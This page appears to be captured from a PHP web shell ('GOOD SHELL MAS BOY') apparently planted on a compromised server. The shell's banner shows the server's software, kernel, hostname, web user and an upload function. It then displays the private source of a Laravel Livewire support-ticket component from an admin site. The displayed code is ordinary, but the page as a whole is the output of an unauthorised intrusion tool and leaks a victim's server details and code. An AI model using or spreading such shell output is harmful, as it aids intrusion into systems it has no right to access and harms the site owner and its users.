GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/app/Livewire/Support/Index.php
<?php

namespace App\Livewire\Support;

use Livewire\Component;
use Livewire\WithPagination;
use App\Models\SupportMail;

class Index extends Component
{
    use WithPagination;

    public $search = ''; // Search property

    protected $queryString = ['search']; // Optional: retain the search query in the URL

    public function updatingSearch()
    {
        $this->resetPage(); // Reset pagination when search input changes
    }

    public function changeSupportStatus($supportId, $status)
    {
        // Find the support mail record by ID
        $support = SupportMail::find($supportId);

        if ($support) {
            // Update the status
            $support->update(['status' => $status]);

            // Optionally, you can add a success message or emit an event
            session()->flash('message', 'Support status updated successfully.');
        } else {
            // If the record is not found
            session()->flash('error', 'Support mail not found.');
        }
    }

    public $ticketId;
    public $replyMessage;
    public $support;
    public $subject;
    public $message;

    // Prepare the reply by setting the ticket ID
    public function prepareReply($id)
    {
        $this->support = SupportMail::where('ticket_no', $id)->first();
        $this->subject = $this->support->subject;
        $this->message = $this->support->message;
        $this->ticketId = $id;
        $this->replyMessage = ''; // Clear the reply textarea
    }
    
    // Send the reply and save it as a new instance
    public function sendReply()
    {
        $this->validate([
            'replyMessage' => 'required|min:5|max:1000',
        ]);
        
        $support = SupportMail::where('ticket_no', $this->ticketId)->first();
        // Save the reply as a new instance
        SupportMail::create([
            'ticket_no' => $this->ticketId, 
            'message' => $this->replyMessage,
            'subject' => 'RE: '. $support->subject,
            'user_id' => $support->user_id,
            'status' => 'open',
        ]);
        session()->flash('message', 'Reply sent successfully.');
        $this->redirect('/support/ticket');
    }

    public function render()
    {
        $supports = SupportMail::with('user')
            ->where(function ($query) {
                $query->where('subject', 'like', '%' . $this->search . '%')
                    ->orWhere('message', 'like', '%' . $this->search . '%')
                    ->orWhereHas('user', function ($userQuery) {
                        $userQuery->where('name', 'like', '%' . $this->search . '%');
                    })
                    ->orWhere('ticket_no', 'like', '%' . $this->search . '%');
            })
            ->latest()
            ->paginate(10);
        return view('livewire.support.index', compact('supports'));
    }
}